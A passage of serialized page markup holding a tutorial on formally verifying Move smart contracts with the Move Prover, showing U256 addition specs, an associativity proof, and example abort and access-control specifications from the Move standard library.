4;\n\n[...]\n\nlet i = 0;\nwhile (i \u003C WORDS) {\n let a1 = get(&a, i);\n let b1 = get(&b, i);\n\n[...]\n",[11415],{"type":26,"tag":53,"props":11416,"children":11417},{"__ignoreMap":7},[11418,11426,11459,11466,11482,11489,11513,11537,11582,11626,11633],{"type":26,"tag":475,"props":11419,"children":11420},{"class":477,"line":478},[11421],{"type":26,"tag":475,"props":11422,"children":11423},{"style":552},[11424],{"type":32,"value":11425},"/// Total words in `U256` (64 * 4 = 256).\n",{"type":26,"tag":475,"props":11427,"children":11428},{"class":477,"line":516},[11429,11433,11438,11442,11446,11450,11455],{"type":26,"tag":475,"props":11430,"children":11431},{"style":482},[11432],{"type":32,"value":9363},{"type":26,"tag":475,"props":11434,"children":11435},{"style":499},[11436],{"type":32,"value":11437}," WORDS",{"type":26,"tag":475,"props":11439,"children":11440},{"style":714},[11441],{"type":32,"value":179},{"type":26,"tag":475,"props":11443,"children":11444},{"style":505},[11445],{"type":32,"value":5573},{"type":26,"tag":475,"props":11447,"children":11448},{"style":714},[11449],{"type":32,"value":2383},{"type":26,"tag":475,"props":11451,"children":11452},{"style":903},[11453],{"type":32,"value":11454}," 4",{"type":26,"tag":475,"props":11456,"children":11457},{"style":499},[11458],{"type":32,"value":2729},{"type":26,"tag":475,"props":11460,"children":11461},{"class":477,"line":539},[11462],{"type":26,"tag":475,"props":11463,"children":11464},{"emptyLinePlaceholder":18},[11465],{"type":32,"value":545},{"type":26,"tag":475,"props":11467,"children":11468},{"class":477,"line":548},[11469,11473,11477],{"type":26,"tag":475,"props":11470,"children":11471},{"style":499},[11472],{"type":32,"value":3440},{"type":26,"tag":475,"props":11474,"children":11475},{"style":714},[11476],{"type":32,"value":9300},{"type":26,"tag":475,"props":11478,"children":11479},{"style":499},[11480],{"type":32,"value":11481},"]\n",{"type":26,"tag":475,"props":11483,"children":11484},{"class":477,"line":558},[11485],{"type":26,"tag":475,"props":11486,"children":11487},{"emptyLinePlaceholder":18},[11488],{"type":32,"value":545},{"type":26,"tag":475,"props":11490,"children":11491},{"class":477,"line":582},[11492,11497,11501,11505,11509],{"type":26,"tag":475,"props":11493,"children":11494},{"style":482},[11495],{"type":32,"value":11496},"let",{"type":26,"tag":475,"props":11498,"children":11499},{"style":2375},[11500],{"type":32,"value":3104},{"type":26,"tag":475,"props":11502,"children":11503},{"style":714},[11504],{"type":32,"value":2383},{"type":26,"tag":475,"props":11506,"children":11507},{"style":903},[11508],{"type":32,"value":2752},{"type":26,"tag":475,"props":11510,"children":11511},{"style":499},[11512],{"type":32,"value":2729},{"type":26,"tag":475,"props":11514,"children":11515},{"class":477,"line":596},[11516,11520,11524,11528,11532],{"type":26,"tag":475,"props":11517,"children":11518},{"style":586},[11519],{"type":32,"value":11170},{"type":26,"tag":475,"props":11521,"children":11522},{"style":499},[11523],{"type":32,"value":2775},{"type":26,"tag":475,"props":11525,"children":11526},{"style":2375},[11527],{"type":32,"value":3445},{"type":26,"tag":475,"props":11529,"children":11530},{"style":714},[11531],{"type":32,"value":8430},{"type":26,"tag":475,"props":11533,"children":11534},{"style":499},[11535],{"type":32,"value":11536}," WORDS) {\n",{"type":26,"tag":475,"props":11538,"children":11539},{"class":477,"line":610},[11540,11544,11549,11553,11558,11562,11566,11570,11574,11578],{"type":26,"tag":475,"props":11541,"children":11542},{"style":482},[11543],{"type":32,"value":2705},{"type":26,"tag":475,"props":11545,"children":11546},{"style":2375},[11547],{"type":32,"value":11548}," a1",{"type":26,"tag":475,"props":11550,"children":11551},{"style":714},[11552],{"type":32,"value":2383},{"type":26,"tag":475,"props":11554,"children":11555},{"style":493},[11556],{"type":32,"value":11557}," get",{"type":26,"tag":475,"props":11559,"children":11560},{"style":499},[11561],{"type":32,"value":626},{"type":26,"tag":475,"props":11563,"children":11564},{"style":714},[11565],{"type":32,"value":2816},{"type":26,"tag":475,"props":11567,"children":11568},{"style":2375},[11569],{"type":32,"value":116},{"type":26,"tag":475,"props":11571,"children":11572},{"style":499},[11573],{"type":32,"value":637},{"type":26,"tag":475,"props":11575,"children":11576},{"style":2375},[11577],{"type":32,"value":3445},{"type":26,"tag":475,"props":11579,"children":11580},{"style":499},[11581],{"type":32,"value":3533},{"type":26,"tag":475,"props":11583,"children":11584},{"class":477,"line":650},[11585,11589,11594,11598,11602,11606,11610,11614,11618,11622],{"type":26,"tag":475,"props":11586,"children":11587},{"style":482},[11588],{"type":32,"value":2705},{"type":26,"tag":475,"props":11590,"children":11591},{"style":2375},[11592],{"type":32,"value":11593}," b1",{"type":26,"tag":475,"props":11595,"children":11596},{"style":714},[11597],{"type":32,"value":2383},{"type":26,"tag":475,"props":11599,"children":11600},{"style":493},[11601],{"type":32,"value":11557},{"type":26,"tag":475,"props":11603,"children":11604},{"style":499},[11605],{"type":32,"value":626},{"type":26,"tag":475,"props":11607,"children":11608},{"style":714},[11609],{"type":32,"value":2816},{"type":26,"tag":475,"props":11611,"children":11612},{"style":2375},[11613],{"type":32,"value":2930},{"type":26,"tag":475,"props":11615,"children":11616},{"style":499},[11617],{"type":32,"value":637},{"type":26,"tag":475,"props":11619,"children":11620},{"style":2375},[11621],{"type":32,"value":3445},{"type":26,"tag":475,"props":11623,"children":11624},{"style":499},[11625],{"type":32,"value":3533},{"type":26,"tag":475,"props":11627,"children":11628},{"class":477,"line":679},[11629],{"type":26,"tag":475,"props":11630,"children":11631},{"emptyLinePlaceholder":18},[11632],{"type":32,"value":545},{"type":26,"tag":475,"props":11634,"children":11635},{"class":477,"line":735},[11636,11640,11644],{"type":26,"tag":475,"props":11637,"children":11638},{"style":499},[11639],{"type":32,"value":3440},{"type":26,"tag":475,"props":11641,"children":11642},{"style":714},[11643],{"type":32,"value":9300},{"type":26,"tag":475,"props":11645,"children":11646},{"style":499},[11647],{"type":32,"value":11481},{"type":26,"tag":35,"props":11649,"children":11650},{},[11651],{"type":32,"value":11652},"Unrolling the function and running again the Move Prover will print out a \"Success\" message!",{"type":26,"tag":465,"props":11654,"children":11656},{"code":11655},"SUCCESS proving 1 modules from package `u256` in 9.685s\n{\n \"Result\": \"Success\"\n}\n",[11657],{"type":26,"tag":53,"props":11658,"children":11659},{"__ignoreMap":7},[11660],{"type":32,"value":11655},{"type":26,"tag":35,"props":11662,"children":11663},{},[11664,11666,11671,11672,11678],{"type":32,"value":11665},"For the ",{"type":26,"tag":105,"props":11667,"children":11668},{},[11669],{"type":32,"value":11670},"Associative Property",{"type":32,"value":2775},{"type":26,"tag":53,"props":11673,"children":11675},{"className":11674},[],[11676],{"type":32,"value":11677},"a+(b+c) = (a+b)+c",{"type":32,"value":11679},") to be true, changing the grouping of addends should not change the sum. To verify this, we will first implement a function which simulates this property:",{"type":26,"tag":465,"props":11681,"children":11683},{"code":11682,"language":2684,"meta":7,"className":2685,"style":7},"fun add_assoc_property(a: U256, b: U256, c: U256): bool {\n let result_1 = add(b, c);\n let result_11 = add(a, result_1);\n let result_2 = add(a, b);\n let result_22 = add(c, result_2);\n\n let cmp = compare(&result_11, &result_22);\n if ( cmp == EQUAL ) true else false\n}\n",[11684],{"type":26,"tag":53,"props":11685,"children":11686},{"__ignoreMap":7},[11687,11764,11803,11844,11883,11924,11931,11981,12021],{"type":26,"tag":475,"props":11688,"children":11689},{"class":477,"line":478},[11690,11694,11699,11703,11707,11711,11715,11719,11723,11727,11731,11735,11739,11743,11747,11751,11755,11760],{"type":26,"tag":475,"props":11691,"children":11692},{"style":2375},[11693],{"type":32,"value":6820},{"type":26,"tag":475,"props":11695,"children":11696},{"style":493},[11697],{"type":32,"value":11698}," add_assoc_property",{"type":26,"tag":475,"props":11700,"children":11701},{"style":499},[11702],{"type":32,"value":626},{"type":26,"tag":475,"props":11704,"children":11705},{"style":2375},[11706],{"type":32,"value":116},{"type":26,"tag":475,"props":11708,"children":11709},{"style":714},[11710],{"type":32,"value":179},{"type":26,"tag":475,"props":11712,"children":11713},{"style":505},[11714],{"type":32,"value":4442},{"type":26,"tag":475,"props":11716,"children":11717},{"style":499},[11718],{"type":32,"value":637},{"type":26,"tag":475,"props":11720,"children":11721},{"style":2375},[11722],{"type":32,"value":2930},{"type":26,"tag":475,"props":11724,"children":11725},{"style":714},[11726],{"type":32,"value":179},{"type":26,"tag":475,"props":11728,"children":11729},{"style":505},[11730],{"type":32,"value":4442},{"type":26,"tag":475,"props":11732,"children":11733},{"style":499},[11734],{"type":32,"value":637},{"type":26,"tag":475,"props":11736,"children":11737},{"style":2375},[11738],{"type":32,"value":2854},{"type":26,"tag":475,"props":11740,"children":11741},{"style":714},[11742],{"type":32,"value":179},{"type":26,"tag":475,"props":11744,"children":11745},{"style":505},[11746],{"type":32,"value":4442},{"type":26,"tag":475,"props":11748,"children":11749},{"style":499},[11750],{"type":32,"value":2835},{"type":26,"tag":475,"props":11752,"children":11753},{"style":714},[11754],{"type":32,"value":179},{"type":26,"tag":475,"props":11756,"children":11757},{"style":505},[11758],{"type":32,"value":11759}," bool",{"type":26,"tag":475,"props":11761,"children":11762},{"style":499},[11763],{"type":32,"value":579},{"type":26,"tag":475,"props":11765,"children":11766},{"class":477,"line":516},[11767,11771,11775,11779,11783,11787,11791,11795,11799],{"type":26,"tag":475,"props":11768,"children":11769},{"style":482},[11770],{"type":32,"value":2705},{"type":26,"tag":475,"props":11772,"children":11773},{"style":2375},[11774],{"type":32,"value":7903},{"type":26,"tag":475,"props":11776,"children":11777},{"style":714},[11778],{"type":32,"value":2383},{"type":26,"tag":475,"props":11780,"children":11781},{"style":493},[11782],{"type":32,"value":9291},{"type":26,"tag":475,"props":11784,"children":11785},{"style":499},[11786],{"type":32,"value":626},{"type":26,"tag":475,"props":11788,"children":11789},{"style":2375},[11790],{"type":32,"value":2930},{"type":26,"tag":475,"props":11792,"children":11793},{"style":499},[11794],{"type":32,"value":637},{"type":26,"tag":475,"props":11796,"children":11797},{"style":2375},[11798],{"type":32,"value":2854},{"type":26,"tag":475,"props":11800,"children":11801},{"style":499},[11802],{"type":32,"value":3533},{"type":26,"tag":475,"props":11804,"children":11805},{"class":477,"line":539},[11806,11810,11815,11819,11823,11827,11831,11835,11840],{"type":26,"tag":475,"props":11807,"children":11808},{"style":482},[11809],{"type":32,"value":2705},{"type":26,"tag":475,"props":11811,"children":11812},{"style":2375},[11813],{"type":32,"value":11814}," result_11",{"type":26,"tag":475,"props":11816,"children":11817},{"style":714},[11818],{"type":32,"value":2383},{"type":26,"tag":475,"props":11820,"children":11821},{"style":493},[11822],{"type":32,"value":9291},{"type":26,"tag":475,"props":11824,"children":11825},{"style":499},[11826],{"type":32,"value":626},{"type":26,"tag":475,"props":11828,"children":11829},{"style":2375},[11830],{"type":32,"value":116},{"type":26,"tag":475,"props":11832,"children":11833},{"style":499},[11834],{"type":32,"value":637},{"type":26,"tag":475,"props":11836,"children":11837},{"style":2375},[11838],{"type":32,"value":11839},"result_1",{"type":26,"tag":475,"props":11841,"children":11842},{"style":499},[11843],{"type":32,"value":3533},{"type":26,"tag":475,"props":11845,"children":11846},{"class":477,"line":548},[11847,11851,11855,11859,11863,11867,11871,11875,11879],{"type":26,"tag":475,"props":11848,"children":11849},{"style":482},[11850],{"type":32,"value":2705},{"type":26,"tag":475,"props":11852,"children":11853},{"style":2375},[11854],{"type":32,"value":7929},{"type":26,"tag":475,"props":11856,"children":11857},{"style":714},[11858],{"type":32,"value":2383},{"type":26,"tag":475,"props":11860,"children":11861},{"style":493},[11862],{"type":32,"value":9291},{"type":26,"tag":475,"props":11864,"children":11865},{"style":499},[11866],{"type":32,"value":626},{"type":26,"tag":475,"props":11868,"children":11869},{"style":2375},[11870],{"type":32,"value":116},{"type":26,"tag":475,"props":11872,"children":11873},{"style":499},[11874],{"type":32,"value":637},{"type":26,"tag":475,"props":11876,"children":11877},{"style":2375},[11878],{"type":32,"value":2930},{"type":26,"tag":475,"props":11880,"children":11881},{"style":499},[11882],{"type":32,"value":3533},{"type":26,"tag":475,"props":11884,"children":11885},{"class":477,"line":558},[11886,11890,11895,11899,11903,11907,11911,11915,11920],{"type":26,"tag":475,"props":11887,"children":11888},{"style":482},[11889],{"type":32,"value":2705},{"type":26,"tag":475,"props":11891,"children":11892},{"style":2375},[11893],{"type":32,"value":11894}," result_22",{"type":26,"tag":475,"props":11896,"children":11897},{"style":714},[11898],{"type":32,"value":2383},{"type":26,"tag":475,"props":11900,"children":11901},{"style":493},[11902],{"type":32,"value":9291},{"type":26,"tag":475,"props":11904,"children":11905},{"style":499},[11906],{"type":32,"value":626},{"type":26,"tag":475,"props":11908,"children":11909},{"style":2375},[11910],{"type":32,"value":2854},{"type":26,"tag":475,"props":11912,"children":11913},{"style":499},[11914],{"type":32,"value":637},{"type":26,"tag":475,"props":11916,"children":11917},{"style":2375},[11918],{"type":32,"value":11919},"result_2",{"type":26,"tag":475,"props":11921,"children":11922},{"style":499},[11923],{"type":32,"value":3533},{"type":26,"tag":475,"props":11925,"children":11926},{"class":477,"line":582},[11927],{"type":26,"tag":475,"props":11928,"children":11929},{"emptyLinePlaceholder":18},[11930],{"type":32,"value":545},{"type":26,"tag":475,"props":11932,"children":11933},{"class":477,"line":596},[11934,11938,11942,11946,11951,11955,11959,11964,11968,11972,11977],{"type":26,"tag":475,"props":11935,"children":11936},{"style":482},[11937],{"type":32,"value":2705},{"type":26,"tag":475,"props":11939,"children":11940},{"style":2375},[11941],{"type":32,"value":7571},{"type":26,"tag":475,"props":11943,"children":11944},{"style":714},[11945],{"type":32,"value":2383},{"type":26,"tag":475,"props":11947,"children":11948},{"style":493},[11949],{"type":32,"value":11950}," compare",{"type":26,"tag":475,"props":11952,"children":11953},{"style":499},[11954],{"type":32,"value":626},{"type":26,"tag":475,"props":11956,"children":11957},{"style":714},[11958],{"type":32,"value":2816},{"type":26,"tag":475,"props":11960,"children":11961},{"style":2375},[11962],{"type":32,"value":11963},"result_11",{"type":26,"tag":475,"props":11965,"children":11966},{"style":499},[11967],{"type":32,"value":637},{"type":26,"tag":475,"props":11969,"children":11970},{"style":714},[11971],{"type":32,"value":2816},{"type":26,"tag":475,"props":11973,"children":11974},{"style":2375},[11975],{"type":32,"value":11976},"result_22",{"type":26,"tag":475,"props":11978,"children":11979},{"style":499},[11980],{"type":32,"value":3533},{"type":26,"tag":475,"props":11982,"children":11983},{"class":477,"line":610},[11984,11989,11994,11998,12002,12007,12011,12016],{"type":26,"tag":475,"props":11985,"children":11986},{"style":586},[11987],{"type":32,"value":11988}," if",{"type":26,"tag":475,"props":11990,"children":11991},{"style":499},[11992],{"type":32,"value":11993}," ( ",{"type":26,"tag":475,"props":11995,"children":11996},{"style":2375},[11997],{"type":32,"value":7636},{"type":26,"tag":475,"props":11999,"children":12000},{"style":714},[12001],{"type":32,"value":2990},{"type":26,"tag":475,"props":12003,"children":12004},{"style":499},[12005],{"type":32,"value":12006}," EQUAL ) ",{"type":26,"tag":475,"props":12008,"children":12009},{"style":482},[12010],{"type":32,"value":3703},{"type":26,"tag":475,"props":12012,"children":12013},{"style":586},[12014],{"type":32,"value":12015}," else",{"type":26,"tag":475,"props":12017,"children":12018},{"style":482},[12019],{"type":32,"value":12020}," false\n",{"type":26,"tag":475,"props":12022,"children":12023},{"class":477,"line":650},[12024],{"type":26,"tag":475,"props":12025,"children":12026},{"style":499},[12027],{"type":32,"value":3607},{"type":26,"tag":35,"props":12029,"children":12030},{},[12031],{"type":32,"value":12032},"Lastly, we want to create a spec block which aborts if the sum overflows, and ensures that the result of the function is true:",{"type":26,"tag":465,"props":12034,"children":12036},{"code":12035,"language":2684,"meta":7,"className":2685,"style":7},"spec add_assoc_property {\n aborts_if (value_of_U256(a) + value_of_U256(b)) + value_of_U256(c) >= P64 * P64 * P64 * P64;\n ensures result == true;\n}\n",[12037],{"type":26,"tag":53,"props":12038,"children":12039},{"__ignoreMap":7},[12040,12055,12159,12182],{"type":26,"tag":475,"props":12041,"children":12042},{"class":477,"line":478},[12043,12047,12051],{"type":26,"tag":475,"props":12044,"children":12045},{"style":2375},[12046],{"type":32,"value":7986},{"type":26,"tag":475,"props":12048,"children":12049},{"style":2375},[12050],{"type":32,"value":11698},{"type":26,"tag":475,"props":12052,"children":12053},{"style":499},[12054],{"type":32,"value":579},{"type":26,"tag":475,"props":12056,"children":12057},{"class":477,"line":516},[12058,12062,12066,12071,12075,12079,12083,12087,12091,12095,12099,12103,12107,12111,12115,12119,12123,12127,12131,12135,12139,12143,12147,12151,12155],{"type":26,"tag":475,"props":12059,"children":12060},{"style":2375},[12061],{"type":32,"value":9611},{"type":26,"tag":475,"props":12063,"children":12064},{"style":499},[12065],{"type":32,"value":2775},{"type":26,"tag":475,"props":12067,"children":12068},{"style":493},[12069],{"type":32,"value":12070},"value_of_U256",{"type":26,"tag":475,"props":12072,"children":12073},{"style":499},[12074],{"type":32,"value":626},{"type":26,"tag":475,"props":12076,"children":12077},{"style":2375},[12078],{"type":32,"value":116},{"type":26,"tag":475,"props":12080,"children":12081},{"style":499},[12082],{"type":32,"value":2794},{"type":26,"tag":475,"props":12084,"children":12085},{"style":714},[12086],{"type":32,"value":1106},{"type":26,"tag":475,"props":12088,"children":12089},{"style":493},[12090],{"type":32,"value":9412},{"type":26,"tag":475,"props":12092,"children":12093},{"style":499},[12094],{"type":32,"value":626},{"type":26,"tag":475,"props":12096,"children":12097},{"style":2375},[12098],{"type":32,"value":2930},{"type":26,"tag":475,"props":12100,"children":12101},{"style":499},[12102],{"type":32,"value":8548},{"type":26,"tag":475,"props":12104,"children":12105},{"style":714},[12106],{"type":32,"value":1106},{"type":26,"tag":475,"props":12108,"children":12109},{"style":493},[12110],{"type":32,"value":9412},{"type":26,"tag":475,"props":12112,"children":12113},{"style":499},[12114],{"type":32,"value":626},{"type":26,"tag":475,"props":12116,"children":12117},{"style":2375},[12118],{"type":32,"value":2854},{"type":26,"tag":475,"props":12120,"children":12121},{"style":499},[12122],{"type":32,"value":2794},{"type":26,"tag":475,"props":12124,"children":12125},{"style":714},[12126],{"type":32,"value":9652},{"type":26,"tag":475,"props":12128,"children":12129},{"style":505},[12130],{"type":32,"value":9368},{"type":26,"tag":475,"props":12132,"children":12133},{"style":714},[12134],{"type":32,"value":9525},{"type":26,"tag":475,"props":12136,"children":12137},{"style":505},[12138],{"type":32,"value":9368},{"type":26,"tag":475,"props":12140,"children":12141},{"style":714},[12142],{"type":32,"value":9525},{"type":26,"tag":475,"props":12144,"children":12145},{"style":505},[12146],{"type":32,"value":9368},{"type":26,"tag":475,"props":12148,"children":12149},{"style":714},[12150],{"type":32,"value":9525},{"type":26,"tag":475,"props":12152,"children":12153},{"style":505},[12154],{"type":32,"value":9368},{"type":26,"tag":475,"props":12156,"children":12157},{"style":499},[12158],{"type":32,"value":2729},{"type":26,"tag":475,"props":12160,"children":12161},{"class":477,"line":539},[12162,12166,12170,12174,12178],{"type":26,"tag":475,"props":12163,"children":12164},{"style":2375},[12165],{"type":32,"value":9909},{"type":26,"tag":475,"props":12167,"children":12168},{"style":2375},[12169],{"type":32,"value":8870},{"type":26,"tag":475,"props":12171,"children":12172},{"style":714},[12173],{"type":32,"value":2990},{"type":26,"tag":475,"props":12175,"children":12176},{"style":482},[12177],{"type":32,"value":1214},{"type":26,"tag":475,"props":12179,"children":12180},{"style":499},[12181],{"type":32,"value":2729},{"type":26,"tag":475,"props":12183,"children":12184},{"class":477,"line":548},[12185],{"type":26,"tag":475,"props":12186,"children":12187},{"style":499},[12188],{"type":32,"value":3607},{"type":26,"tag":35,"props":12190,"children":12191},{},[12192],{"type":32,"value":12193},"Running move prover with the new specifications, we can confirm that there are no verification errors:",{"type":26,"tag":465,"props":12195,"children":12196},{"code":11655},[12197],{"type":26,"tag":53,"props":12198,"children":12199},{"__ignoreMap":7},[12200],{"type":32,"value":11655},{"type":26,"tag":35,"props":12202,"children":12203},{},[12204,12206,12213],{"type":32,"value":12205},"For a more complete document detailing Move Prover syntax, we recommend referring to ",{"type":26,"tag":116,"props":12207,"children":12210},{"href":12208,"rel":12209},"https://github.com/move-language/move/blob/main/language/move-prover/doc/user/spec-lang.md",[120],[12211],{"type":32,"value":12212},"spec-lang.md",{"type":32,"value":12214}," in the Move Repository.",{"type":26,"tag":27,"props":12216,"children":12218},{"id":12217},"use-cases",[12219],{"type":32,"value":12220},"Use Cases",{"type":26,"tag":35,"props":12222,"children":12223},{},[12224],{"type":32,"value":12225},"Formal verification can prove that a smart contract satisfies the given requirements for all possible cases without even running the contract. The hard part is coming up with the specifications.",{"type":26,"tag":35,"props":12227,"children":12228},{},[12229],{"type":32,"value":12230},"Here, we hope to explore some practical examples of possible verification ideas.",{"type":26,"tag":41,"props":12232,"children":12234},{"id":12233},"error-conditions",[12235],{"type":32,"value":12236},"Error Conditions",{"type":26,"tag":35,"props":12238,"children":12239},{},[12240,12242,12248],{"type":32,"value":12241},"Taking an example from ",{"type":26,"tag":53,"props":12243,"children":12245},{"className":12244},[],[12246],{"type":32,"value":12247},"std::fixed_point32",{"type":32,"value":12249},", it's often useful to explicitly define when a function might abort. For example, arithmetic operations with fixed point numbers should only error if they overflow.",{"type":26,"tag":465,"props":12251,"children":12253},{"code":12252,"language":2684,"meta":7,"className":2685,"style":7}," spec schema MultiplyAbortsIf {\n val: num;\n multiplier: FixedPoint32;\n aborts_if spec_multiply_u64(val, multiplier) > MAX_U64 with EMULTIPLICATION;\n }\n spec fun spec_multiply_u64(val: num, multiplier: FixedPoint32): num {\n (val * multiplier.value) >> 32\n }\n",[12254],{"type":26,"tag":53,"props":12255,"children":12256},{"__ignoreMap":7},[12257,12278,12298,12319,12365,12373,12436,12475],{"type":26,"tag":475,"props":12258,"children":12259},{"class":477,"line":478},[12260,12264,12269,12274],{"type":26,"tag":475,"props":12261,"children":12262},{"style":2375},[12263],{"type":32,"value":8640},{"type":26,"tag":475,"props":12265,"children":12266},{"style":2375},[12267],{"type":32,"value":12268}," schema",{"type":26,"tag":475,"props":12270,"children":12271},{"style":505},[12272],{"type":32,"value":12273}," MultiplyAbortsIf",{"type":26,"tag":475,"props":12275,"children":12276},{"style":499},[12277],{"type":32,"value":579},{"type":26,"tag":475,"props":12279,"children":12280},{"class":477,"line":516},[12281,12286,12290,12294],{"type":26,"tag":475,"props":12282,"children":12283},{"style":2375},[12284],{"type":32,"value":12285}," val",{"type":26,"tag":475,"props":12287,"children":12288},{"style":714},[12289],{"type":32,"value":179},{"type":26,"tag":475,"props":12291,"children":12292},{"style":2375},[12293],{"type":32,"value":9441},{"type":26,"tag":475,"props":12295,"children":12296},{"style":499},[12297],{"type":32,"value":2729},{"type":26,"tag":475,"props":12299,"children":12300},{"class":477,"line":539},[12301,12306,12310,12315],{"type":26,"tag":475,"props":12302,"children":12303},{"style":2375},[12304],{"type":32,"value":12305}," multiplier",{"type":26,"tag":475,"props":12307,"children":12308},{"style":714},[12309],{"type":32,"value":179},{"type":26,"tag":475,"props":12311,"children":12312},{"style":505},[12313],{"type":32,"value":12314}," FixedPoint32",{"type":26,"tag":475,"props":12316,"children":12317},{"style":499},[12318],{"type":32,"value":2729},{"type":26,"tag":475,"props":12320,"children":12321},{"class":477,"line":548},[12322,12327,12332,12336,12341,12345,12350,12355,12360],{"type":26,"tag":475,"props":12323,"children":12324},{"style":2375},[12325],{"type":32,"value":12326}," aborts_if",{"type":26,"tag":475,"props":12328,"children":12329},{"style":493},[12330],{"type":32,"value":12331}," spec_multiply_u64",{"type":26,"tag":475,"props":12333,"children":12334},{"style":499},[12335],{"type":32,"value":626},{"type":26,"tag":475,"props":12337,"children":12338},{"style":2375},[12339],{"type":32,"value":12340},"val",{"type":26,"tag":475,"props":12342,"children":12343},{"style":499},[12344],{"type":32,"value":637},{"type":26,"tag":475,"props":12346,"children":12347},{"style":2375},[12348],{"type":32,"value":12349},"multiplier",{"type":26,"tag":475,"props":12351,"children":12352},{"style":499},[12353],{"type":32,"value":12354},") > MAX_U64 ",{"type":26,"tag":475,"props":12356,"children":12357},{"style":2375},[12358],{"type":32,"value":12359},"with",{"type":26,"tag":475,"props":12361,"children":12362},{"style":499},[12363],{"type":32,"value":12364}," EMULTIPLICATION;\n",{"type":26,"tag":475,"props":12366,"children":12367},{"class":477,"line":558},[12368],{"type":26,"tag":475,"props":12369,"children":12370},{"style":499},[12371],{"type":32,"value":12372}," }\n",{"type":26,"tag":475,"props":12374,"children":12375},{"class":477,"line":582},[12376,12380,12384,12388,12392,12396,12400,12404,12408,12412,12416,12420,12424,12428,12432],{"type":26,"tag":475,"props":12377,"children":12378},{"style":2375},[12379],{"type":32,"value":8640},{"type":26,"tag":475,"props":12381,"children":12382},{"style":2375},[12383],{"type":32,"value":490},{"type":26,"tag":475,"props":12385,"children":12386},{"style":493},[12387],{"type":32,"value":12331},{"type":26,"tag":475,"props":12389,"children":12390},{"style":499},[12391],{"type":32,"value":626},{"type":26,"tag":475,"props":12393,"children":12394},{"style":2375},[12395],{"type":32,"value":12340},{"type":26,"tag":475,"props":12397,"children":12398},{"style":714},[12399],{"type":32,"value":179},{"type":26,"tag":475,"props":12401,"children":12402},{"style":2375},[12403],{"type":32,"value":9441},{"type":26,"tag":475,"props":12405,"children":12406},{"style":499},[12407],{"type":32,"value":637},{"type":26,"tag":475,"props":12409,"children":12410},{"style":2375},[12411],{"type":32,"value":12349},{"type":26,"tag":475,"props":12413,"children":12414},{"style":714},[12415],{"type":32,"value":179},{"type":26,"tag":475,"props":12417,"children":12418},{"style":505},[12419],{"type":32,"value":12314},{"type":26,"tag":475,"props":12421,"children":12422},{"style":499},[12423],{"type":32,"value":2835},{"type":26,"tag":475,"props":12425,"children":12426},{"style":714},[12427],{"type":32,"value":179},{"type":26,"tag":475,"props":12429,"children":12430},{"style":2375},[12431],{"type":32,"value":9441},{"type":26,"tag":475,"props":12433,"children":12434},{"style":499},[12435],{"type":32,"value":579},{"type":26,"tag":475,"props":12437,"children":12438},{"class":477,"line":596},[12439,12443,12447,12451,12456,12460,12465,12470],{"type":26,"tag":475,"props":12440,"children":12441},{"style":499},[12442],{"type":32,"value":8421},{"type":26,"tag":475,"props":12444,"children":12445},{"style":2375},[12446],{"type":32,"value":12340},{"type":26,"tag":475,"props":12448,"children":12449},{"style":714},[12450],{"type":32,"value":9525},{"type":26,"tag":475,"props":12452,"children":12453},{"style":2375},[12454],{"type":32,"value":12455}," multiplier",{"type":26,"tag":475,"props":12457,"children":12458},{"style":714},[12459],{"type":32,"value":353},{"type":26,"tag":475,"props":12461,"children":12462},{"style":499},[12463],{"type":32,"value":12464},"value) ",{"type":26,"tag":475,"props":12466,"children":12467},{"style":714},[12468],{"type":32,"value":12469},">>",{"type":26,"tag":475,"props":12471,"children":12472},{"style":903},[12473],{"type":32,"value":12474}," 32\n",{"type":26,"tag":475,"props":12476,"children":12477},{"class":477,"line":610},[12478],{"type":26,"tag":475,"props":12479,"children":12480},{"style":499},[12481],{"type":32,"value":12372},{"type":26,"tag":41,"props":12483,"children":12485},{"id":12484},"access-control-policies",[12486],{"type":32,"value":12487},"Access Control Policies",{"type":26,"tag":35,"props":12489,"children":12490},{},[12491],{"type":32,"value":12492},"Somewhat similar to error conditions, it's often useful to enforce explicit access control policies at the specification level.",{"type":26,"tag":35,"props":12494,"children":12495},{},[12496,12498,12504,12506,12511],{"type":32,"value":12497},"For example, in ",{"type":26,"tag":53,"props":12499,"children":12501},{"className":12500},[],[12502],{"type":32,"value":12503},"std::offer",{"type":32,"value":12505}," we are able to see that the function should abort if and only if there does not exist an offer, ",{"type":26,"tag":2615,"props":12507,"children":12508},{},[12509],{"type":32,"value":12510},"or",{"type":32,"value":12512}," the recipient is now allowed.",{"type":26,"tag":465,"props":12514,"children":12516},{"code":12515,"language":2684,"meta":7,"className":2685,"style":7}," spec redeem {\n /// Aborts if there is no offer under `offer_address` or if the account\n /// cannot redeem the offer.\n /// Ensures that the offered struct under `offer_address` is removed.\n aborts_if !exists\u003COffer\u003COffered>>(offer_address);\n aborts_if !is_allowed_recipient\u003COffered>(offer_address, signer::address_of(account));\n ensures !exists\u003COffer\u003COffered>>(offer_address);\n ensures result == old(global\u003COffer\u003COffered>>(offer_address).offered);\n }\n",[12517],{"type":26,"tag":53,"props":12518,"children":12519},{"__ignoreMap":7},[12520,12537,12545,12553,12561,12608,12666,12709,12775],{"type":26,"tag":475,"props":12521,"children":12522},{"class":477,"line":478},[12523,12528,12533],{"type":26,"tag":475,"props":12524,"children":12525},{"style":2375},[12526],{"type":32,"value":12527}," spec",{"type":26,"tag":475,"props":12529,"children":12530},{"style":2375},[12531],{"type":32,"value":12532}," redeem",{"type":26,"tag":475,"props":12534,"children":12535},{"style":499},[12536],{"type":32,"value":579},{"type":26,"tag":475,"props":12538,"children":12539},{"class":477,"line":516},[12540],{"type":26,"tag":475,"props":12541,"children":12542},{"style":552},[12543],{"type":32,"value":12544}," /// Aborts if there is no offer under `offer_address` or if the account\n",{"type":26,"tag":475,"props":12546,"children":12547},{"class":477,"line":539},[12548],{"type":26,"tag":475,"props":12549,"children":12550},{"style":552},[12551],{"type":32,"value":12552}," /// cannot redeem the offer.\n",{"type":26,"tag":475,"props":12554,"children":12555},{"class":477,"line":548},[12556],{"type":26,"tag":475,"props":12557,"children":12558},{"style":552},[12559],{"type":32,"value":12560}," /// Ensures that the offered struct under `offer_address` is removed.\n",{"type":26,"tag":475,"props":12562,"children":12563},{"class":477,"line":558},[12564,12568,12573,12577,12581,12586,12590,12595,12599,12604],{"type":26,"tag":475,"props":12565,"children":12566},{"style":2375},[12567],{"type":32,"value":8764},{"type":26,"tag":475,"props":12569,"children":12570},{"style":714},[12571],{"type":32,"value":12572}," 